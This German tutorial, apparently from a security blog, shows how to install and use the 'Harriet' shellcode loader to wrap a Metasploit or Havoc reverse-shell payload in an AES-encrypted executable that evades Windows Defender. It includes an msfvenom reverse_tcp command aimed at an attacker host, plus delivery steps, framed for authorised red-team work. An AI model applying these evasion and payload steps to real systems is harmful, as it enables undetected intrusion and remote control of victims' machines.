Wer sich mit Post Exploitation Frameworks beschäftigt, wird früher oder später nicht umhinkommen, Techniken anzuwenden, um die so erzeugten Payloads zu verschleiern und so der Entdeckung und Erkennung durch Sicherheitsmaßnahmen zu entgehen.
Im Zusammenhang mit Red Teaming und Sicherheitsforschung können “Umgehungstechniken” verwendet werden, um Sicherheitskontrollen und -systeme zu umgehen oder zu überlisten. Dazu können verschiedene Methoden gehören, z. B. die Verschleierung der Nutzlast, die Verhinderung der Erkennung von Signaturen, die Ausnutzung von Sicherheitslücken oder die Anpassung von Angriffsmustern, um herkömmliche Überwachungsmaßnahmen zu umgehen.
Es ist wichtig zu betonen, dass Umgehungstechniken ethisch und legal eingesetzt werden müssen, z. B. im Rahmen von Penetrationstests oder Red-Team-Übungen, um die Sicherheit eines Systems zu verbessern. Der Einsatz solcher Techniken ohne ausdrückliche Genehmigung ist illegal und kann schwerwiegende rechtliche Konsequenzen nach sich ziehen.
Im Folgenden wird ein Tool vorgestellt, das verschiedene Verschleierungstechniken verwendet, um Windows-Shellcode im Rahmen von Penetrationstests auszuführen. Der Entwickler dieses Tools war von dem Shellcode Loader namens Charlotte so inspiriert, dass er sich an eine Neuentwicklung wagte. Das Ergebnis ist ein Tool, das AES-Verschlüsselung bzw. Funktions- und Variablenverschleierung verwendet, um den Virenschutz und die Schutzmaßnahmen von Windows Defender zu umgehen.
Installation
Die Installation von Harriet ist unter Kali Linux recht einfach zu bewerkstelligen:
cd /home/user/Downloads
git clone https://github.com/assume-breach/Home-Grown-Red-Team.git
cd Home-Grown-Red-Team
cd Harriet
sudo apt update && sudo apt upgrade
sudo apt install mingw-w64 python3-pip osslsigncode
pip3 install pycryptodome
cd Harriet/Resources/
bash createcert.sh
Zum Abschluss der Installation wird eine self-signed Zertifikat erstellt, um damit später die ausführbaren Dateien zu signieren.
Abschließend müssen noch die Rechte für die Schlüssel und Zertifikate geändert werden:
cd /home/user/Downloads/Home-Grown-Red-Team/Harriet/Harriet/Resources
sudo chown user:user certificate.pem
sudo chown user:user private_key.pem
Nun kann das Tool ausgeführt werden:
cd /home/user/Downloads/Home-Grown-Red-Team/Harriet
bash Harriet.sh
Einsatz
Bevor wir aber starten, benötigen wir noch einen Payload, der als Shellcode zur Verfügung gestellt wird. Dieser lässt sich mit dem Metasploit Framework z.B. mit folgendem Befehl erstellen:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.171.203 LPORT=443 -f raw > harriet.bin
LHOST und LPORT müssen dabei auf die eignen Gegebenheiten angepasst werden. Außerdem muss ein Listener in dieser Umgebung laufen.
Für unser Beispiel verwenden wir jedoch das Havoc Framework, das wir in unserem Buch „Hacking mit Post Exploitation Frameworks“ vorgestellt haben. Ich gehe davon aus, dass bereits ein HTTPS Listener eingerichtet wurde und nun der Windows Shellcode erstellt werden kann. Dazu klickt man in der Havoc-Benutzeroberfläche auf Attack – Payload und wählt die folgenden Parameter aus:
- Listener: den erstellten HTTPS-Listener
- Arch: x64
- Format: Windows Shellcode
Alle anderen Parameter können ebenfalls angepasst werden, haben aber für dieses Beispiel keine besondere Bedeutung.
Mit einem Klick auf „Generate“ wird die Konfiguration des Shellcodes abgeschlossen. Havoc benötigt einige Zeit, um den Code zu kompilieren. Danach wird nach einem Speicherort und einem Dateinamen gefragt. In diesem Fall wählen Sie /home/user/Downloads und harriet.bin.
Nun kehren wir wieder zum Shellcode Loader zurück, um eine ausführbare Datei (EXE) oder eine DLL zu erstellen. Für dieses Beispiel wählen wir die (1) für EXE aus und wählen im nächsten Menü die (3) für „Fully-Automated AES Encrypted QueueUserAPC Shellcode Execution“.
Im folgenden Fenster ist der Pfad zum soeben erstellten Shellcode, in diesem Beispiel /home/user/Downloads/harriet.bin, und der Dateiname für die Ausgabe, hier payload.exe, anzugeben.
Kopiert man nun die Datei payload.exe auf das Zielsystem, sollte Windows Defender die Datei nicht als Malware erkennen und problemlos ausführen. Wenn unsere Aktion erfolgreich war, sollte eine neue eingehende Verbindung in der Havoc Benutzeroberfläche angezeigt werden.